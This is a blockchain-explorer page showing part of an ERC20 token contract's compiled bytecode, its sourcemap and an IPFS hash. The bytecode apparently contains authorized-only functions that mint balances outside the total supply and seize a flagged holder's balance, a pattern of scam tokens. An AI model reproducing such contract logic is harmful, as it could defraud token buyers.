60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b6001600160a01b03831660009081526020819052604090205481811015610add5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610418565b610ae78183610679565b6001600160a01b038086166000908152602081905260408082209390935590851681522054610b1690836106c2565b6001600160a01b038481166000818152602081815260409182902094909455518581529092918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610999848484610c97565b6001600160a01b0381166000908152602081905260408120548180527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5805491929091610bc3908490610e83565b90915550506001600160a01b03166000908152602081905260409020670de0b6b3a76400009055565b6001600160a01b038216600090815260208190526040902054610c0f90826106c2565b6001600160a01b0390921660009081526020819052604090209190915550565b60008184841115610c535760405162461bcd60e51b81526004016104189190610df7565b506000610c608486610edc565b95945050505050565b60008183610c8a5760405162461bcd60e51b81526004016104189190610df7565b506000610c608486610e9b565b600f54600160a01b900460ff1615610cae57505050565b600f805460ff60a01b1916600160a01b179055610cca8361065b565b80610cd95750610cd98261065b565b15610ce357610d15565b6000610d06600954610d006008548561072190919063ffffffff16565b906107a0565b9050610d1383308361099f565b505b5050600f805460ff60a01b1916905550565b80356001600160a01b0381168114610d3e57600080fd5b919050565b600060208284031215610d5557600080fd5b6106bb82610d27565b60008060408385031215610d7157600080fd5b610d7a83610d27565b9150610d8860208401610d27565b90509250929050565b600080600060608486031215610da657600080fd5b610daf84610d27565b9250610dbd60208501610d27565b9150604084013590509250925092565b60008060408385031215610de057600080fd5b610de983610d27565b946020939093013593505050565b600060208083528351808285015260005b81811015610e2457858101830151858201604001528201610e08565b81811115610e36576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526018908201527f43616c6c6572206973206e6f7420617574686f72697a65640000000000000000604082015260600190565b60008219821115610e9657610e96610f2e565b500190565b600082610eb857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610ed757610ed7610f2e565b500290565b600082821015610eee57610eee610f2e565b500390565b600181811c90821680610f0757607f821691505b60208210811415610f2857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220e1c65d6dab29ad39ab0e3d4115b2c3e5fc6f12db7504ae70189b519f29f09e3d64736f6c63430008070033
Deployed Bytecode Sourcemap
11174:1746:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8114:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8829:201;;;;;;:::i;:::-;;:::i;:::-;;;1613:14:1;;1606:22;1588:41;;1576:2;1561:18;8829:201:0;1448:187:1;3357:93:0;;;;;;:::i;:::-;;:::i;:::-;;7897:108;7985:12;;7897:108;;;6234:25:1;;;6222:2;6207:18;7897:108:0;6088:177:1;9038:261:0;;;;;;:::i;:::-;;:::i;11308:28::-;;;;;;3253:96;;;;;;:::i;:::-;3328:6;;-1:-1:-1;;;;;3328:6:0;;;:13;;;;3253:96;8013:93;;;8096:2;6412:36:1;;6400:2;6385:18;8013:93:0;6270:184:1;12821:96:0;;;;;;:::i;:::-;-1:-1:-1;;;;;12894:15:0;12870:4;12894:15;;;:10;:15;;;;;;;;;12821:96;11251:50;;;;;;11659:28;;;;;-1:-1:-1;;;;;11659:28:0;;;;;;-1:-1:-1;;;;;1404:32:1;;;1386:51;;1374:2;1359:18;11659:28:0;1240:203:1;12696:117:0;;;;;;:::i;:::-;;:::i;8334:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8435:18:0;8408:7;8435:18;;;;;;;;;;;;8334:127;3458:148;;;:::i;12586:102::-;;;;;;:::i;:::-;;:::i;2817:79::-;2882:6;;-1:-1:-1;;;;;2882:6:0;2817:79;;8222:104;;;:::i;8469:193::-;;;;;;:::i;:::-;;:::i;11343:36::-;;;;;;8670:151;;;;;;:::i;:::-;-1:-1:-1;;;;;8786:18:0;;;8759:7;8786:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8670:151;3706:160;;;;;;:::i;:::-;;:::i;3144:101::-;;;;;;:::i;:::-;;:::i;8114:100::-;8168:13;8201:5;8194:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8114:100;:::o;8829:201::-;8912:4;1483:10;8968:32;1483:10;8984:7;8993:6;8968:8;:32::i;:::-;9018:4;9011:11;;;8829:201;;;;;:::o;3357:93::-;3063:24;3076:10;3063:12;:24::i;:::-;3055:61;;;;-1:-1:-1;;;3055:61:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;3422:13:0::1;;::::0;;;:8:::1;:13;::::0;;;;:20;;-1:-1:-1;;3422:20:0::1;3438:4;3422:20;::::0;;3357:93::o;9038:261::-;9135:4;1483:10;9193:38;9209:4;1483:10;9224:6;9193:15;:38::i;:::-;9242:27;9252:4;9258:2;9262:6;9242:9;:27::i;:::-;-1:-1:-1;9287:4:0;;9038:261;-1:-1:-1;;;;9038:261:0:o;12696:117::-;3063:24;3076:10;3063:12;:24::i;:::-;3055:61;;;;-1:-1:-1;;;3055:61:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12754:15:0;::::1;;::::0;;;:10:::1;:15;::::0;;;;:22;;-1:-1:-1;;12754:22:0::1;12772:4;12754:22;::::0;;12787:18:::1;12765:3:::0;12787:13:::1;:18::i;:::-;12696:117:::0;:::o;3458:148::-;2944:6;;-1:-1:-1;;;;;2944:6:0;1483:10;2944:22;2936:58;;;;-1:-1:-1;;;2936:58:0;;2848:2:1;2936:58:0;;;2830:21:1;2887:2;2867:18;;;2860:30;-1:-1:-1;;;2906:18:1;;;2899:53;2969:18;;2936:58:0;2646:347:1;2936:58:0;3549:6:::1;::::0;3528:40:::1;::::0;3565:1:::1;::::0;-1:-1:-1;;;;;3549:6:0::1;::::0;3528:40:::1;::::0;3565:1;;3528:40:::1;3579:6;:19:::0;;-1:-1:-1;;;;;;3579:19:0::1;::::0;;3458:148::o;12586:102::-;3063:24;3076:10;3063:12;:24::i;:::-;3055:61;;;;-1:-1:-1;;;3055:61:0;;;;;;;:::i;:::-;12660:20:::1;12669:2;12673:6;12660:8;:20::i;:::-;12586:102:::0;;:::o;8222:104::-;8278:13;8311:7;8304:14;;;;;:::i;8469:193::-;8548:4;1483:10;8604:28;1483:10;8621:2;8625:6;8604:9;:28::i;3706:160::-;2944:6;;-1:-1:-1;;;;;2944:6:0;1483:10;2944:22;2936:58;;;;-1:-1:-1;;;2936:58:0;;2848:2:1;2936:58:0;;;2830:21:1;2887:2;2867:18;;;2860:30;-1:-1:-1;;;2906:18:1;;;2899:53;2969:18;;2936:58:0;2646:347:1;2936:58:0;3813:6:::1;::::0;3792:38:::1;::::0;-1:-1:-1;;;;;3792:38:0;;::::1;::::0;3813:6:::1;::::0;3792:38:::1;::::0;3813:6:::1;::::0;3792:38:::1;3841:6;:17:::0;;-1:-1:-1;;;;;;3841:17:0::1;-1:-1:-1::0;;;;;3841:17:0;;;::::1;::::0;;;::::1;::::0;;3706:160::o;3144:101::-;-1:-1:-1;;;;;3224:13:0;3200:4;3224:13;;;:8;:13;;;;;;;;;3144:101::o;420:136::-;478:7;505:43;509:1;512;505:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;498:50;420:136;-1:-1:-1;;;420:136:0:o;233:179::-;291:7;;323:5;327:1;323;:5;:::i;:::-;311:17;;352:1;347;:6;;339:46;;;;-1:-1:-1;;;339:46:0;;3603:2:1;339:46:0;;;3585:21:1;3642:2;3622:18;;;3615:30;3681:29;3661:18;;;3654:57;3728:18;;339:46:0;3401:351:1;762:246:0;820:7;844:6;840:47;;-1:-1:-1;874:1:0;867:8;;840:47;897:9;909:5;913:1;909;:5;:::i;:::-;897:17;-1:-1:-1;942:1:0;933:5;937:1;897:17;933:5;:::i;:::-;:10;925:56;;;;-1:-1:-1;;;925:56:0;;4724:2:1;925:56:0;;;4706:21:1;4763:2;4743:18;;;4736:30;4802:34;4782:18;;;4775:62;-1:-1:-1;;;4853:18:1;;;4846:31;4894:19;;925:56:0;4522:397:1;1016:132:0;1074:7;1101:39;1105:1;1108;1101:39;;;;;;;;;;;;;;;;;:3;:39::i;9939:344::-;-1:-1:-1;;;;;10041:19:0;;10033:68;;;;-1:-1:-1;;;10033:68:0;;5885:2:1;10033:68:0;;;5867:21:1;5924:2;5904:18;;;5897:30;5963:34;5943:18;;;5936:62;-1:-1:-1;;;6014:18:1;;;6007:34;6058:19;;10033:68:0;5683:400:1;10033:68:0;-1:-1:-1;;;;;10120:21:0;;10112:68;;;;-1:-1:-1;;;10112:68:0;;3200:2:1;10112:68:0;;;3182:21:1;3239:2;3219:18;;;3212:30;3278:34;3258:18;;;3251:62;-1:-1:-1;;;3329:18:1;;;3322:32;3371:19;;10112:68:0;2998:398:1;10112:68:0;-1:-1:-1;;;;;10191:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10243:32;;6234:25:1;;;10243:32:0;;6207:18:1;10243:32:0;;;;;;;9939:344;;;:::o;10291:375::-;-1:-1:-1;;;;;8786:18:0;;;10392:24;8786:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10459:37:0;;10455:204;;10541:6;10521:16;:26;;10513:68;;;;-1:-1:-1;;;10513:68:0;;3959:2:1;10513:68:0;;;3941:21:1;3998:2;3978:18;;;3971:30;4037:31;4017:18;;;4010:59;4086:18;;10513:68:0;3757:353:1;10513:68:0;10596:51;10605:5;10612:7;10621:25;10640:6;10621:16;:25;:::i;:::-;10596:8;:51::i;:::-;10381:285;10291:375;;;:::o;9307:624::-;-1:-1:-1;;;;;9404:18:0;;9396:68;;;;-1:-1:-1;;;9396:68:0;;5479:2:1;9396:68:0;;;5461:21:1;5518:2;5498:18;;;5491:30;5557:34;5537:18;;;5530:62;-1:-1:-1;;;5608:18:1;;;5601:35;5653:19;;9396:68:0;5277:401:1;9396:68:0;-1:-1:-1;;;;;9483:16:0;;9475:64;;;;-1:-1:-1;;;9475:64:0;;2444:2:1;9475:64:0;;;2426:21:1;2483:2;2463:18;;;2456:30;2522:34;2502:18;;;2495:62;-1:-1:-1;;;2573:18:1;;;2566:33;2616:19;;9475:64:0;2242:399:1;9475:64:0;-1:-1:-1;;;;;9625:15:0;;9603:19;9625:15;;;;;;;;;;;9659:21;;;;9651:72;;;;-1:-1:-1;;;9651:72:0;;4317:2:1;9651:72:0;;;4299:21:1;4356:2;4336:18;;;4329:30;4395:34;4375:18;;;4368:62;-1:-1:-1;;;4446:18:1;;;4439:36;4492:19;;9651:72:0;4115:402:1;9651:72:0;9754:23;:11;9770:6;9754:15;:23::i;:::-;-1:-1:-1;;;;;9736:15:0;;;:9;:15;;;;;;;;;;;:41;;;;9804:13;;;;;;;:25;;9822:6;9804:17;:25::i;:::-;-1:-1:-1;;;;;9788:13:0;;;:9;:13;;;;;;;;;;;;:41;;;;9847:26;6234:25:1;;;9788:13:0;;9847:26;;;;;;6207:18:1;9847:26:0;;;;;;;9886:37;9906:4;9912:2;9916:6;9886:19;:37::i;10805:163::-;-1:-1:-1;;;;;10898:18:0;;:9;:18;;;;;;;;;;;10873:21;;;;:43;;10898:18;;10873:21;;:43;;10898:18;;10873:43;:::i;:::-;;;;-1:-1:-1;;;;;;;10927:18:0;:9;:18;;;;;;;;;;10948:12;10927:33;;10805:163::o;10674:123::-;-1:-1:-1;;;;;10764:13:0;;:9;:13;;;;;;;;;;;:25;;10782:6;10764:17;:25::i;:::-;-1:-1:-1;;;;;10748:13:0;;;:9;:13;;;;;;;;;;:41;;;;-1:-1:-1;10674:123:0:o;564:190::-;650:7;686:12;678:6;;;;670:29;;;;-1:-1:-1;;;670:29:0;;;;;;;;:::i;:::-;-1:-1:-1;710:9:0;722:5;726:1;722;:5;:::i;:::-;710:17;564:190;-1:-1:-1;;;;;564:190:0:o;1156:189::-;1242:7;1277:12;1270:5;1262:28;;;;-1:-1:-1;;;1262:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1301:9:0;1313:5;1317:1;1313;:5;:::i;12261:317::-;11750:9;;-1:-1:-1;;;11750:9:0;;;;11746:22;;;12261:317;;;:::o;11746:22::-;11778:9;:16;;-1:-1:-1;;;;11778:16:0;-1:-1:-1;;;11778:16:0;;;12373:18:::1;12386:4:::0;12373:12:::1;:18::i;:::-;:38;;;;12395:16;12408:2;12395:12;:16::i;:::-;12369:77;;;12428:7;;12369:77;12458:17;12478:42;12504:15;;12478:21;12489:9;;12478:6;:10;;:21;;;;:::i;:::-;:25:::0;::::1;:42::i;:::-;12458:62;;12531:39;12541:2;12553:4;12560:9;12531;:39::i;:::-;12358:220;11805:1;-1:-1:-1::0;;11817:9:0;:17;;-1:-1:-1;;;;11817:17:0;;;-1:-1:-1;12261:317:0:o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:52;;;320:1;317;310:12;272:52;343:29;362:9;343:29;:::i;383:260::-;451:6;459;512:2;500:9;491:7;487:23;483:32;480:52;;;528:1;525;518:12;480:52;551:29;570:9;551:29;:::i;:::-;541:39;;599:38;633:2;622:9;618:18;599:38;:::i;:::-;589:48;;383:260;;;;;:::o;648:328::-;725:6;733;741;794:2;782:9;773:7;769:23;765:32;762:52;;;810:1;807;800:12;762:52;833:29;852:9;833:29;:::i;:::-;823:39;;881:38;915:2;904:9;900:18;881:38;:::i;:::-;871:48;;966:2;955:9;951:18;938:32;928:42;;648:328;;;;;:::o;981:254::-;1049:6;1057;1110:2;1098:9;1089:7;1085:23;1081:32;1078:52;;;1126:1;1123;1116:12;1078:52;1149:29;1168:9;1149:29;:::i;:::-;1139:39;1225:2;1210:18;;;;1197:32;;-1:-1:-1;;;981:254:1:o;1640:597::-;1752:4;1781:2;1810;1799:9;1792:21;1842:6;1836:13;1885:6;1880:2;1869:9;1865:18;1858:34;1910:1;1920:140;1934:6;1931:1;1928:13;1920:140;;;2029:14;;;2025:23;;2019:30;1995:17;;;2014:2;1991:26;1984:66;1949:10;;1920:140;;;2078:6;2075:1;2072:13;2069:91;;;2148:1;2143:2;2134:6;2123:9;2119:22;2115:31;2108:42;2069:91;-1:-1:-1;2221:2:1;2200:15;-1:-1:-1;;2196:29:1;2181:45;;;;2228:2;2177:54;;1640:597;-1:-1:-1;;;1640:597:1:o;4924:348::-;5126:2;5108:21;;;5165:2;5145:18;;;5138:30;5204:26;5199:2;5184:18;;5177:54;5263:2;5248:18;;4924:348::o;6459:128::-;6499:3;6530:1;6526:6;6523:1;6520:13;6517:39;;;6536:18;;:::i;:::-;-1:-1:-1;6572:9:1;;6459:128::o;6592:217::-;6632:1;6658;6648:132;;6702:10;6697:3;6693:20;6690:1;6683:31;6737:4;6734:1;6727:15;6765:4;6762:1;6755:15;6648:132;-1:-1:-1;6794:9:1;;6592:217::o;6814:168::-;6854:7;6920:1;6916;6912:6;6908:14;6905:1;6902:21;6897:1;6890:9;6883:17;6879:45;6876:71;;;6927:18;;:::i;:::-;-1:-1:-1;6967:9:1;;6814:168::o;6987:125::-;7027:4;7055:1;7052;7049:8;7046:34;;;7060:18;;:::i;:::-;-1:-1:-1;7097:9:1;;6987:125::o;7117:380::-;7196:1;7192:12;;;;7239;;;7260:61;;7314:4;7306:6;7302:17;7292:27;;7260:61;7367:2;7359:6;7356:14;7336:18;7333:38;7330:161;;;7413:10;7408:3;7404:20;7401:1;7394:31;7448:4;7445:1;7438:15;7476:4;7473:1;7466:15;7330:161;;7117:380;;;:::o;7502:127::-;7563:10;7558:3;7554:20;7551:1;7544:31;7594:4;7591:1;7584:15;7618:4;7615:1;7608:15
Swarm Source
ipfs://e1c65d6dab29ad39ab0e3d4115b2c3e5fc6f12db7504ae70189b519f29f09e3d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.